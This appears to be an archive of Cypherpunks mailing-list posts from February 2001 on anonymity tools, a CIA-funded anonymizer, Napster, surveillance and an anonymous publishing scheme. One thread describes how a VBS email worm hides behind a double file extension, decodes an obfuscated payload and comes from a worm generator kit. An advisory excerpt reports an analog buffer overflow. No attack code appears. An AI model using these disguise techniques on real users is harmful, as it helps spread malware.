#    Mr. Hsu says, "it can satisfy just about anyone."
#    
#    The technology is a clever piece of software called Triangle 
#    Boy that SafeWeb plans to post free this month on the Web. The 
#    CIA, through In-Q-Tel, is investing in a revved-up version of 
#    the software, which can bounce digital traffic around the Web 
#    anonymously, as well as rights to an equity stake in SafeWeb 
#    should the company go public. Neither side will disclose financial 
#    details.
#    
#    The CIA has been slow to mine the riches of the Internet for 
#    fear of exposing its own vast computer network to viruses or 
#    hacker attacks. It also worries that others will monitor its 
#    activities if it roams the Web without proper disguise.
#    
#    What SafeWeb offers is a chance to move about the Internet without 
#    leaving any trace. Users simply go to the company's Web site 
#    and type in the address of the actual site they are seeking. 
#    SafeWeb's site acts as an intermediary; anyone monitoring the 
#    activity would see only the traffic between the user's computer 
#    and SafeWeb -- and not the user's ultimate destination. The site 
#    recorded more than one million unique visits last month.
#    
#    But what really caught the CIA's fancy was Triangle Boy, a 
#    software package that can turn any personal computer into a 
#    surrogate Web server. The system allows users to navigate to 
#    any number of innocuous PC addresses, and then go to the actual 
#    Web site they are seeking -- without leaving a trace. Triangle 
#    Boy works by forwarding the request for the desired Web site 
#    on to SafeWeb's site, which then makes the connection. SafeWeb 
#    developed Triangle Boy to deter companies or countries from 
#    blocking access to its site, as Saudi Arabia did last November.
#    
#    CIA specialists say their core interest in Triangle Boy is 
#    anonymous Internet browsing. "We want to operate anywhere on 
#    the Internet in a way that no one knows the CIA is looking at 
#    them," says a senior CIA official with connections to the In-Q-Tel 
#    team.
#    
#    But the possible uses go way beyond that. SafeWeb says the agency 
#    also could use the technology as a secure way for its "assets," 
#    or contacts, to communicate with CIA headquarters. The CIA also 
#    suggests that it may one day build a global network made up of 
#    Triangle Boys and servers equipped with SafeWeb-style software 
#    to communicate with employees and informants. CIA Director George 
#    Tenet told the Senate last week that one of his chief ambitions 
#    is "to take modern Web-based technology and apply it to our 
#    business relentlessly."
#    
#    The SafeWeb technology could prove just as handy in getting 
#    information covertly into other countries. It was this application 
#    that originally inspired Mr. Hsu to reach out to the CIA last 
#    summer. "I imagined them wanting to use Triangle Boy to get Voice 
#    of America or something like that into countries where it was 
#    blocked," he said.
#    
#    Others suggest more devious possibilities. An application like 
#    Triangle Boy, if scattered among hundreds of PCs, could be a 
#    way to cloak a multipronged "cyber attack" on someone else's 
#    computer system. The CIA, along with the Pentagon, has worked 
#    for years to perfect ways to electronically meddle with other 
#    countries' banking systems or electricity grids, and Triangle 
#    Boy could allow them to do it without the target ever knowing 
#    who was behind the attack. "It would be the functional equivalent 
#    of an electronic silencer," says one technology expert with wide 
#    experience in the intelligence community. "You could shoot 
#    electronic bullets right down the pipe without anyone knowing 
#    where they came from." Intelligence officials deny they have 
#    any interest in using Triangle Boy for offensive attacks.
#    
#    The CIA wants the strengthened version of Triangle Boy 
#    reconfigured so it can handle the CIA's own much higher-powered 
#    encryption. It also wants to ensure that only its own employees 
#    and contacts can communicate via Triangle Boy. SafeWeb is expected 
#    to deliver the customized version by April.
#    
#    Some observers suggest that the CIA's real interest is figuring 
#    out how to crack Triangle Boy and to thwart its use among the 
#    public. Encryption and the spread of Internet-based communications 
#    have made life miserable for the National Security Agency, the 
#    CIA's sister organization responsible for electronic eavesdropping 
#    around the world. Software such as Triangle Boy will render the 
#    challenge that much tougher.
#    
#    But the CIA denies the allegation. "We're looking to use new 
#    technology, not to break it," said the CIA official, who added 
#    that the NSA was informed of the Triangle Boy investment and 
#    will later get to inspect the software. But with or without CIA 
#    involvement, the official said, technology is moving too fast 
#    for the NSA to keep up.
#    
#    For Mr. Hsu, the key is to manage the relationship with the CIA 
#    without damaging his company's reputation. His customers, after 
#    all, are people who take privacy very seriously, so trust is 
#    a critical part of its business model. There are already glimmers 
#    of suspicion in some Internet chat rooms. "This could be the 
#    greatest NSA trap ever," wrote one skeptic of the SafeWeb site. 
#    "This actually makes it easier for people to spy on you," wrote 
#    another.
#    
#    Mr. Hsu, though, insists that the CIA relationship is "completely 
#    separate from our core business." The agency will have no access 
#    to SafeWeb's operations or insider knowledge of its proprietary 
#    software. But on the other hand, he says, if the CIA is pleased 
#    with its customized version of Triangle Boy and puts it to use, 
#    "that will be a big seal of approval from the government."





From ravage at einstein.ssz.com  Mon Feb 12 20:38:37 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 12 Feb 2001 22:38:37 -0600
Subject: freedomforum.org: Federal judge quashes subpoena for Kansas bookstore's sales records
Message-ID: <3A88BA4D.E150B826@ssz.com>


At least one blow for reader anonymity...

http://www.freedomforum.org/news/2000/12/2000-12-04-04.htm

-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From petro at bounty.org  Mon Feb 12 23:08:30 2001
From: petro at bounty.org (petro)
Date: Mon, 12 Feb 2001 23:08:30 -0800
Subject: Pentagon warns Fidel Castro could launch cyberattack against
 U.S.
In-Reply-To: <3A87BE2E.1184FFD3@ccs.bbk.ac.uk>
References: <20010209093820.B7548@cluebot.com>
 <002b01c09320$081b0940$0500a8c0@ne.mediaone.net>
 <3A87BE2E.1184FFD3@ccs.bbk.ac.uk>
Message-ID: <p0432041ab6ae8dca3d5b@[10.1.1.42]>


>Phillip Hallam-Baker wrote:
>>
>>  Congress is absolutely right to bring this to everyone's attention. Fidel
>>  Castro is a demon coder who can crank out code at an astonishing rate
>>  given a sufficient supply of brandy, nachos and cigars.
>>
>>  In the bleakest moments of the cold war when the russian army was poised to
>>  roll into Western Europe we British would always think of the example set
>>  by the plucky little USA facing a global superpower in the Caribean poised
>>  to overwhelm it at any moment.
>
>Not to mention all that rhythm.
>
>Save America from an overwhelming wave of salsa.

	Nuke them NOW. Some things are just too horrible to risk.
-- 
"To be governed is to be watched, inspected, spied upon, directed 
law-driven, numbered, regulated, enrolled, indoctrinated, preached 
at, controlled, checked, estimated, valued, censured, commanded, by 
creatures who have neither the right nor the wisdom nor the virtue to 
do so. To be governed is to be at every operation, at every 
transaction, noted, registered, counted, taxed, stamped, measured, 
numbered, assessed, licensed, authorized, admonished, prevented, 
forbidden, reformed, corrected, punished."--Pierre Proudhon




From petro at bounty.org  Mon Feb 12 23:12:50 2001
From: petro at bounty.org (petro)
Date: Mon, 12 Feb 2001 23:12:50 -0800
Subject: (RE: Crypto McCarthyism ...thoughts,   gentlemen?)
In-Reply-To: <4.3.2.7.2.20010212153022.00cef100@flex.com>
References: <NEBBJHBKILFDJEFIABHPGECECCAA.aimee.farr@pobox.com>
 <4.3.2.7.2.20010212153022.00cef100@flex.com>
Message-ID: <p0432041bb6ae8ecf7abb@[10.1.1.42]>


>At 04:16 PM 2/12/01 -0800, Ray Dillinger wrote:
>
>>As to the "moral boundaries" issue, I'll have to ask my girlfriend's
>>husband about that - his dissertation was about what musical styles
>>evolve in cultures whose moral boundaries are in conflict or change.
>
>That sounds like an interesting diss, I wonder if he's willing to share?

	He's obviously willing to share. Note the "My girlfriend's 
Husband" bit.
-- 
A quote from Petro's Archives:
**********************************************
"As someone who has worked both in private industry and in academia,
whenever I hear about academics wanting to teach ethics to people in
business, I want to puke."--Thomas Sowell.




From declan at well.com  Mon Feb 12 20:16:33 2001
From: declan at well.com (Declan McCullagh)
Date: Mon, 12 Feb 2001 23:16:33 -0500
Subject: nightline TONIGHT morphed kiddy porn case
Message-ID: <5.0.2.1.0.20010212231607.00ab8010@mail.well.com>



FSC Does Nightline
WASHINGTON - Free Speech Coalition general counsel Jeffrey Douglas and 
lobbyist Kat Sunlove will discuss the so-called "virtual child porn" case, 
FSC v. Reno, tonight on Nightline, the long-running late-night ABC news 
program hosted by Ted Koppel. The program usually begins at 11:30 p.m. 
Eastern and Pacific times on local and regional ABC affiliates following 
local news. Check your local television listings - you will not want to 
miss this critical discussion on the question of whether a computerized 
image that resembles a child can be classified the same way as an actual 
image of an actual child.




From ravage at EINSTEIN.ssz.com  Tue Feb 13 05:30:38 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 13 Feb 2001 07:30:38 -0600
Subject: The Register -- web anonymity promised
Message-ID: <3A8936FE.70A67616@ssz.com>


http://www.theregister.co.uk/content/8/16852.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From bill.stewart at pobox.com  Tue Feb 13 09:04:28 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Tue, 13 Feb 2001 09:04:28 -0800
Subject: **Why doesn't Napster just move offshore?
In-Reply-To: <3A89274E.9865CC43@ricardo.de>
References: <3A890823.F958A27C@ricardo.de>
 <3A89224D.FFBC7B35@ccs.bbk.ac.uk>
Message-ID: <3.0.5.32.20010213090428.01c5b240@idiom.com>


At 01:23 PM 2/13/01 +0100, Tom wrote:
>Ken Brown wrote:
>> 
>> Why doesn't Napster just move offshore?
>
>because it is headed by identifiable individuals.

Yeah.  Something Napster-the-Program-like could easily move,
and there are a large number of OpenNap servers run by random people,
but Napster-The-Company is trying to make money for its investors -
it's no longer a couple of college students whose objective
is to have fun and share music of dubious copyright status.

Because Napster is headed by identifiable US individuals
who've been hit with court orders, the scenario of
"Napster shut down and a surprisingly similar company
reopens in Tonga" would be looked at very closely.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From aimee.farr at pobox.com  Tue Feb 13 07:32:27 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Tue, 13 Feb 2001 09:32:27 -0600
Subject: Ernst & Young guy is new Pres ZKS
Message-ID: <NEBBJHBKILFDJEFIABHPAEGFCCAA.aimee.farr@pobox.com>


<clipped>

ERNST & YOUNG VETERAN TAMAS HEVIZI NAMED PRESIDENT AND CEO OF ZERO-KNOWLEDGE
SYSTEMS

"...a strategic business leader with an impressive track record
of growing sales and operations," said Hammie Hill, Zero-Knowledge Systems
chairman and chief financial officer.....

"...Austin Hill, formerly president of Zero-Knowledge Systems, will assume
the role of executive vice president and chief strategist...."

SVIC FOUNDER AND CEO ROBERT W. SHAW JOINS ZERO-KNOWLEDGE SYSTEMS' BOARD OF
DIRECTORS

"...Shaw's deep expertise building successful enterprise business platforms
and his strategic technology industry relationships to strengthen the
company's market position."


aimee.farr at pobox.com
Aimee E. Farr, Esq.
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
office: 254.751.0030
fax: 254.751.0963
PGP Key ID 0xD8986924





From declan at well.com  Tue Feb 13 06:41:58 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 13 Feb 2001 09:41:58 -0500
Subject: (RE: Crypto McCarthyism ...thoughts,   gentlemen?)
In-Reply-To: <Pine.LNX.4.21.0102121546470.24135-100000@bolt.sonic.net>; from bear@sonic.net on Mon, Feb 12, 2001 at 04:16:33PM -0800
References: <NEBBJHBKILFDJEFIABHPGECECCAA.aimee.farr@pobox.com> <Pine.LNX.4.21.0102121546470.24135-100000@bolt.sonic.net>
Message-ID: <20010213094158.A4308@cluebot.com>


On Mon, Feb 12, 2001 at 04:16:33PM -0800, Ray Dillinger wrote:
> Even the relatively small set of people who are interested in hate 
> find themselves spoiled for choice; Name any group of people, and 
> you can find dozens of hate-mongers calling for their extermination 
> on the web.  In this environment, it is virtually inconcievable that 
> any *one* hate ideology should ever become the dominant hate 
> ideology -- this breaks up the process described in the paper at 
> the "identification of villains" stage. 

Interesting point. I fear you're too optimistic, but it does seem as
though currently the groups with the dominant hate-mongering ideology
seem like imports from meatspace instead of homegrown. The anti-Bonsai
Kitten activists are a closer call, but they've been as about as
effective as Democrats arguing for a tax hike.

-Declan




From declan at well.com  Tue Feb 13 06:45:02 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 13 Feb 2001 09:45:02 -0500
Subject: Slashdot | Michigan May Outlaw Anonymity Online
In-Reply-To: <3.0.5.32.20010212130447.01ca3330@idiom.com>; from bill.stewart@pobox.com on Mon, Feb 12, 2001 at 01:04:47PM -0800
References: <3A874B3D.6FE1257C@ssz.com> <Pine.LNX.4.10.10102111843310.23650-100000@clueserver.org> <3.0.5.32.20010212130447.01ca3330@idiom.com>
Message-ID: <20010213094502.B4308@cluebot.com>


On Mon, Feb 12, 2001 at 01:04:47PM -0800, Bill Stewart wrote:
> until everybody lets it die" trick is usually safe,
> especially if it can get reviewed by the committee's counsel
> in the light of existing court cases like McIntyre.

Righto. A closer case, with less precedential value but closer
on the facts, would be the district court's ruling in the Georgia
Internet-anonymity lawsuit brought by the ACLU.

See, probably, www.well.com/~declan/nym

-Declan




From declan at well.com  Tue Feb 13 06:47:23 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 13 Feb 2001 09:47:23 -0500
Subject: Here you have, ;o)
In-Reply-To: <20010212213733.A89524@cypherpunks.ai>; from adam@cypherspace.org on Mon, Feb 12, 2001 at 09:37:33PM -0400
References: <000c01c09559$9f9453e0$3c5efea9@vin> <20010212213733.A89524@cypherpunks.ai>
Message-ID: <20010213094723.C4308@cluebot.com>


Yep. Vorm writers are getting smarter. It seems as though VB
lets you embed executable (compiled, I assume) code in a .vbs
file, so a casual observer can't easily tell what this one does.

-Declan


On Mon, Feb 12, 2001 at 09:37:33PM -0400, Adam Back wrote:
> Heh, heh.  Guess who uses outlook :-)
> 
> Endless source of amusement as a linux user watching the VB
> script worms play out.  I think you actually have to click 
> on this one, though the double extension helps as many
> users won't see the 2nd .vbs, just the .jpg.
> 
> Adam
> 
> On Mon, Feb 12, 2001 at 08:09:32PM -0500, Vin McLellan wrote:
> > Hi:
> > Check This!
> 
> 




From declan at well.com  Tue Feb 13 06:52:15 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 13 Feb 2001 09:52:15 -0500
Subject: freedomforum.org: Federal judge quashes subpoena for Kansas bookstore's sales records
In-Reply-To: <3A88BA4D.E150B826@ssz.com>; from ravage@ssz.com on Mon, Feb 12, 2001 at 10:38:37PM -0600
References: <3A88BA4D.E150B826@ssz.com>
Message-ID: <20010213095215.D4308@cluebot.com>


I'd want to read the documents in this case. But quick thoughts: The
scope of civil discovery has broadened too much in the U.S.  That
said, I'm not sure why bookstores should be treated differently than
other businesses.

-Declan


On Mon, Feb 12, 2001 at 10:38:37PM -0600, Jim Choate wrote:
> At least one blow for reader anonymity...
> 
> http://www.freedomforum.org/news/2000/12/2000-12-04-04.htm




From jacket at 163.net  Tue Feb 13 01:54:01 2001
From: jacket at 163.net (jacket at 163.net)
Date: Tue, 13 Feb 2001 09:54:01 +0000
Subject: =?GB_2312-80?Q?=C4=FA=BA=C3=A3=A1?=
Message-ID: <0GA4004H65LCIN@mail.fz.fj.cn>

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From bf at mindspring.com  Tue Feb 13 08:02:15 2001
From: bf at mindspring.com (Blank Frank)
Date: Tue, 13 Feb 2001 10:02:15 -0600
Subject: ernest & young & zks
Message-ID: <3A895A87.D374083C@mindspring.com>


AF wrote: 

>ERNST & YOUNG VETERAN TAMAS HEVIZI NAMED PRESIDENT AND CEO OF >ZERO-KNOWLEDGE SYSTEMS

Pretty ironic.  E & Y was the firm that did a private forensic
investigation of air stewards' home computers because they were
annoying an airline.




From ptrei at rsasecurity.com  Tue Feb 13 07:15:22 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Tue, 13 Feb 2001 10:15:22 -0500
Subject: The meek will inherit what, exactly?
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBA1@exna07.securitydynamics.com>




> ----------
> From: 	Ray Dillinger[SMTP:bear at sonic.net]
> 
> >But let's not worry so much of differences in power, for the poor and
> peace
> >makers will inherit the world. -somewhere in the Bible-
> 
> "Blessed are the meek, for they shall inherit the earth." 
> 		-Matthew 5, verse 5. 
	[...]
> I don't think prime real estate, exactly,  Perhaps a near-barren 
> rock with a poisonous radioactive atmosphere and a few surviving 
> species of insects and fungus. Perhaps less than that.
	[...]
> 				Bear
> 
Y'know, it's dissapointing that Luis doesn't make use of the 
Internet, all of which is presumably sitting in front of him as 
he types, to get his citations right.

>From Matthew, KJV
[3] Blessed are the poor in spirit: for theirs is the kingdom of 
heaven.
[4] Blessed are they that mourn: for they shall be comforted.
[5] Blessed are the meek: for they shall inherit the earth.
[6] Blessed are they which do hunger and thirst after 
righteousness: for they shall be filled.
[7] Blessed are the merciful: for they shall obtain mercy.
[8] Blessed are the pure in heart: for they shall see God.
[9] Blessed are the peacemakers: for they shall be called 
the children of God.
[10] Blessed are they which are persecuted for 
righteousness' sake: for theirs is the kingdom of heaven.

(BTW: These are generally known as the Beatitudes)

Nothing about the just plain not-having-money poor getting
anything special (at least here - there's plenty about the
spiritual problems of the rich elsewhere in the New 
Testament).

I've got a button somewhere I picked up at an SF convention:

"The Meek shall inherit the Earth.
 The rest of us will go to the stars!"

Peter Trei


> 				
> 




From shirado at m-net.arbornet.org  Tue Feb 13 07:32:55 2001
From: shirado at m-net.arbornet.org (Alex Shirado)
Date: Tue, 13 Feb 2001 10:32:55 -0500 (EST)
Subject: NYT: Railroad drops employee gene testing
Message-ID: <Pine.BSF.4.21.0102131025200.75878-100000@m-net.arbornet.org>




http://www.nyt.com/aponline/business/AP-Genetic-Tests.html

DALLAS (AP) -- Hit with a federal lawsuit, Burlington Northern Santa Fe
Railway agreed Monday to stop requiring genetic testing of employees who
file claims for a wrist condition called carpal tunnel syndrome.

On Friday, the U.S. Equal Employment Opportunity Comission filed a federal
lawsuit charging that the policy violated the Americans With Disabilities
Act. The EEOC said a railroad worker who refused to provide a blood sample
after filing an injury claim was threatened with termination.

...




From declan at well.com  Tue Feb 13 07:35:33 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 13 Feb 2001 10:35:33 -0500
Subject: Here you have, ;o)
In-Reply-To: <001601c095d2$e44594d0$0300000a@lithium.lockstar>
Message-ID: <5.0.2.1.0.20010213103443.02116d40@mail.well.com>


Ah, and here I was being mildly impressed that vorm writers are getting 
smarter. My mistake; thanks for the correction. But vorm-generator writers 
certainly are. :)

-Declan


At 10:37 AM 2/13/01 -0500, Steve Orrin wrote:
>Actually the part that looks like executable code is just encoded and the
>second part of the virus is a script to decode it. Once decoded it is
>executed and it is this decoded script that actually executes the virus
>methods (adding things to registry, replication and a timed DoS against some
>web site in .nl)
>The real interesting thing is that the virus was created by a Worm Generator
>(known as VBSWG 1.50b). It creates the worm for any script kiddie, thus
>doing the hard work like obfuscating the code and using randomly generated
>object names as well as the replication code and Registry entries.
>-Steve
>-----Original Message-----
>From: Declan McCullagh <declan at well.com>
>To: Adam Back <adam at cypherspace.org>
>Cc: Vin McLellan <vin at shore.net>; Com Cypherpunks at Toad.
><cypherpunks at toad.com>
>Date: Tuesday, February 13, 2001 10:07 AM
>Subject: Re: Here you have, ;o)
>
>
> >Yep. Vorm writers are getting smarter. It seems as though VB
> >lets you embed executable (compiled, I assume) code in a .vbs
> >file, so a casual observer can't easily tell what this one does.
> >
> >-Declan
> >
> >
> >On Mon, Feb 12, 2001 at 09:37:33PM -0400, Adam Back wrote:
> >> Heh, heh.  Guess who uses outlook :-)
> >>
> >> Endless source of amusement as a linux user watching the VB
> >> script worms play out.  I think you actually have to click
> >> on this one, though the double extension helps as many
> >> users won't see the 2nd .vbs, just the .jpg.
> >>
> >> Adam
> >>
> >> On Mon, Feb 12, 2001 at 08:09:32PM -0500, Vin McLellan wrote:
> >> > Hi:
> >> > Check This!
> >>
> >>
> >




From sorrin at lockstar.com  Tue Feb 13 07:37:08 2001
From: sorrin at lockstar.com (Steve Orrin)
Date: Tue, 13 Feb 2001 10:37:08 -0500
Subject: Here you have, ;o)
Message-ID: <001601c095d2$e44594d0$0300000a@lithium.lockstar>


Actually the part that looks like executable code is just encoded and the
second part of the virus is a script to decode it. Once decoded it is
executed and it is this decoded script that actually executes the virus
methods (adding things to registry, replication and a timed DoS against some
web site in .nl)
The real interesting thing is that the virus was created by a Worm Generator
(known as VBSWG 1.50b). It creates the worm for any script kiddie, thus
doing the hard work like obfuscating the code and using randomly generated
object names as well as the replication code and Registry entries.
-Steve
-----Original Message-----
From: Declan McCullagh <declan at well.com>
To: Adam Back <adam at cypherspace.org>
Cc: Vin McLellan <vin at shore.net>; Com Cypherpunks at Toad.
<cypherpunks at toad.com>
Date: Tuesday, February 13, 2001 10:07 AM
Subject: Re: Here you have, ;o)


>Yep. Vorm writers are getting smarter. It seems as though VB
>lets you embed executable (compiled, I assume) code in a .vbs
>file, so a casual observer can't easily tell what this one does.
>
>-Declan
>
>
>On Mon, Feb 12, 2001 at 09:37:33PM -0400, Adam Back wrote:
>> Heh, heh.  Guess who uses outlook :-)
>>
>> Endless source of amusement as a linux user watching the VB
>> script worms play out.  I think you actually have to click
>> on this one, though the double extension helps as many
>> users won't see the 2nd .vbs, just the .jpg.
>>
>> Adam
>>
>> On Mon, Feb 12, 2001 at 08:09:32PM -0500, Vin McLellan wrote:
>> > Hi:
>> > Check This!
>>
>>
>




From mmotyka at lsil.com  Tue Feb 13 11:07:22 2001
From: mmotyka at lsil.com (mmotyka at lsil.com)
Date: Tue, 13 Feb 2001 11:07:22 -0800
Subject: The meek will inherit what, exactly?
Message-ID: <3A8985EA.159DE1B1@lsil.com>


> I regard that one verse, and its implications, as one of the most 
> dire, tragic, and hopeless of all the prophecies in the bible. 
>
>                                Bear
>
The tragedy of that one verse is the result of that go forth and
multiply horseshit that some mindless fuckwits actually think still
makes sense.

The meek will inherent only a big hobnailed boot imprint in the middle
of their backs and a depleted and polluted planet. Of course the
non-meek have to live in the same place as the meek so they're only
fucking themselves over in the long run. 

So, to end on an optimistic note, viva las cucarachas.

Mike




From tom at ricardo.de  Tue Feb 13 02:10:43 2001
From: tom at ricardo.de (Tom)
Date: Tue, 13 Feb 2001 11:10:43 +0100
Subject: hidden update 2
Message-ID: <3A890823.F958A27C@ricardo.de>



once again I'm asking for some details/help on what looks ever more like
a pure anonymity problem. maybe I should start with revealing what it's
all for, since I'm pretty much stuck there at the moment. point your
browser to http://www.lemuria.org/Black if you want and take a look.
there's not much there at the moment, but should be enough to give you a
basic idea. in short, it's kind of an archive for thought crime. a
little like cryptome but with a different topic and philosophy. most
importantly, it's only a front. the actual data store is somewhere else,
e.g. freenet. so when the thugs kick in my door and take the machine,
nothing whatsoever is lost.

now since some of the information archived there will surely be illegal
in one or more countries, what is needed is guaranteed anonymity for
pretty much everyone involved (except the publisher, who's taking a risk
but can drop out at any time without destroying the data). some of the
related problems are solved, many not. one of the worst unsolved so far
is what I call "hidden update".

in short, I need a way for Alice to give Bob a piece of information with
neither Alice nor Bob knowing each other. however, Bob should have a way
to verify that subsequent messages are coming from the same Alice. bonus
points if there's a way for Bob to send messages to Alice, too.

main problem: the need to implement the above with existing and readily
available infrastructure.

one solution I've come up with so far is for Alice to encrypt to Bob's
(anonymously published) key and post via remailers to, say,
alt.anonymous.messages, which Bob is known to read. alternatively, agree
on one or more porn/binary newsgroups and use stego.




From bill.stewart at pobox.com  Tue Feb 13 12:00:05 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Tue, 13 Feb 2001 12:00:05 -0800
Subject: Here you have, ;o)
In-Reply-To: <20010213094723.C4308@cluebot.com>
References: <20010212213733.A89524@cypherpunks.ai>
 <000c01c09559$9f9453e0$3c5efea9@vin>
 <20010212213733.A89524@cypherpunks.ai>
Message-ID: <3.0.5.32.20010213120005.00ab1e10@idiom.com>



>On Mon, Feb 12, 2001 at 09:37:33PM -0400, Adam Back wrote:
>> Heh, heh.  Guess who uses outlook :-)
>> 
>> Endless source of amusement as a linux user watching the VB
>> script worms play out.  I think you actually have to click 
>> on this one, though the double extension helps as many
>> users won't see the 2nd .vbs, just the .jpg.

The double extension doesn't hide the .VBS - that's just
Microsoft's usual "hide the extension since the couch-potato
user doesn't want to see how the magic works" feature.
The trick with double extensions is that after
Explorer or Outlook hides the .VBS, the user sees the ".JPG"
and says "Oh, this is a picture, I'll click on it",
instead of "Hmmm, this is something I don't recognize,
better leave it alone."
Similar tricks are used for .doc.vbs, .xls.vbs, .txt.vbs, etc.


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From k.brown at ccs.bbk.ac.uk  Tue Feb 13 04:02:21 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Tue, 13 Feb 2001 12:02:21 +0000
Subject: **Why doesn't Napster just move offshore?
References: <3A890823.F958A27C@ricardo.de>
Message-ID: <3A89224D.FFBC7B35@ccs.bbk.ac.uk>


Why doesn't Napster just move offshore?

Ken




From tom at ricardo.de  Tue Feb 13 04:23:42 2001
From: tom at ricardo.de (Tom)
Date: Tue, 13 Feb 2001 13:23:42 +0100
Subject: **Why doesn't Napster just move offshore?
References: <3A890823.F958A27C@ricardo.de> <3A89224D.FFBC7B35@ccs.bbk.ac.uk>
Message-ID: <3A89274E.9865CC43@ricardo.de>


Ken Brown wrote:
> 
> Why doesn't Napster just move offshore?

because it is headed by identifiable individuals.




From lvild at usa.net  Tue Feb 13 13:33:03 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 13 Feb 2001 13:33:03 PST
Subject: [Re: The meek will inherit what, exactly?]
Message-ID: <20010213213303.16884.qmail@nwcst281.netaddress.usa.net>


You have made a point, I share your view.
That's the focal point to power struggles.

You want it all but nature does not allow it all.

To me the question is,
what are the protocols under which a dynamic stability can
be achieved that goes beyond the design of an encryption protocol?


mmotyka at lsil.com wrote:
> 
> > I regard that one verse, and its implications, as one of the most 
> > dire, tragic, and hopeless of all the prophecies in the bible. 
> >
> >                                Bear
> >
> The tragedy of that one verse is the result of that go forth and
> multiply horseshit that some mindless fuckwits actually think still
> makes sense.
> 
> The meek will inherent only a big hobnailed boot imprint in the middle
> of their backs and a depleted and polluted planet. Of course the
> non-meek have to live in the same place as the meek so they're only
> fucking themselves over in the long run. 
> 
> So, to end on an optimistic note, viva las cucarachas.
> 
> Mike


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From kenny_maekit at hotmail.com  Tue Feb 13 05:46:48 2001
From: kenny_maekit at hotmail.com (Warren Piece)
Date: Tue, 13 Feb 2001 13:46:48 -0000
Subject: The meek will inherit what, exactly?
Message-ID: <F175q1f33AQJE7zRHVD00002a11@hotmail.com>


"Blessed are the meek, for they shall inherit the earth."
		-Matthew 5, verse 5.

>I regard that one verse, and its implications, as one of the most
>dire, tragic, and hopeless of all the prophecies in the bible.

"The thing that hath been, it is that which shall be; and that which is done 
is that which shall be done: and there is no new thing under the sun."   - 
Ecclesiastes I, verse 9

your statement is not so new.  even the Bible itself gives phrophecy about 
the destruction of the world.  so, those who lived in the 'old days' were 
not really (or did not need to be) ignorant concerning the destruction which 
would befall the earth.
of course, the catch is to recognize/accept the new jerusalem as the 
inheritance of the "redeemed".
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From bill.stewart at pobox.com  Tue Feb 13 14:53:26 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Tue, 13 Feb 2001 14:53:26 -0800
Subject: Please delete one of the references in your archive
In-Reply-To: <a3.11cc49e5.27bb06ed@aol.com>
Message-ID: <3.0.5.32.20010213145326.01c0f100@idiom.com>


At 04:53 PM 2/13/01 EST, Ponnavolu at aol.com wrote:
>Dear Sir/Madam,
>
>I would greatly appreciate it if you delete a letter 
> in your archive with my name on it.  
>I would greatly appreciate it if you can do this favor for me.  Thank you
very much.
>
>Kishore Ponnavolu

Dear Mr/Ms Ponnavolu -

The cypherpunks mailing list runs on multiple servers.
There are several subscribers around the world who maintain archives
of the list, plus anything that's ever been on the web tends to
be copied in google.com's caches, even if it disappears off the
original site.  

While you can't change the past, if you would like to change
the future's view of the past, you'll need to contact the
administrators of the actual archives.

Also, your request to be removed from the archives
was mailed to the list, and it will therefore appear in the
web archives of the list, and be cached at google and other places.


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From ericm at lne.com  Tue Feb 13 15:26:42 2001
From: ericm at lne.com (Eric Murray)
Date: Tue, 13 Feb 2001 15:26:42 -0800
Subject: Odd Addresses
In-Reply-To: <200102111756.MAA10145@smtp6.mindspring.com>; from jya@pipeline.com on Sun, Feb 11, 2001 at 12:44:40PM -0500
References: <200102111756.MAA10145@smtp6.mindspring.com>
Message-ID: <20010213152642.A903@slack.lne.com>


On Sun, Feb 11, 2001 at 12:44:40PM -0500, John Young wrote:
> 
> We have from time to time phantom "accesses" from odd 
> addresses such as yesterday:
> 
>    http://161/1.035 
> 
> These accesses and addresses do not show up in the log 
> files but are listed in summaries of accesses produced by 
> Analog on our dedicated server. When we run Analog of
> what should be the same log file on our machine the 
> addresses do not appear.


Interesting- the message below just showed up on bugtraq:



>From: Stephen Turner <S.R.E.Turner at STATSLAB.CAM.AC.UK>
>Subject:      Security advisory for analog
>To: BUGTRAQ at SECURITYFOCUS.COM
>
>SECURITY ADVISORY                                   13th February 2001
>----------------------------------------------------------------------
>Program: analog (logfile analysis program)
>Versions: all versions except 4.16 and 4.90beta3
>Operating systems: all
>----------------------------------------------------------------------
>There is a buffer overflow bug in all versions of analog released
>prior to today. A malicious user could use an ALIAS command to 
>construct very long strings which were not checked for length.   
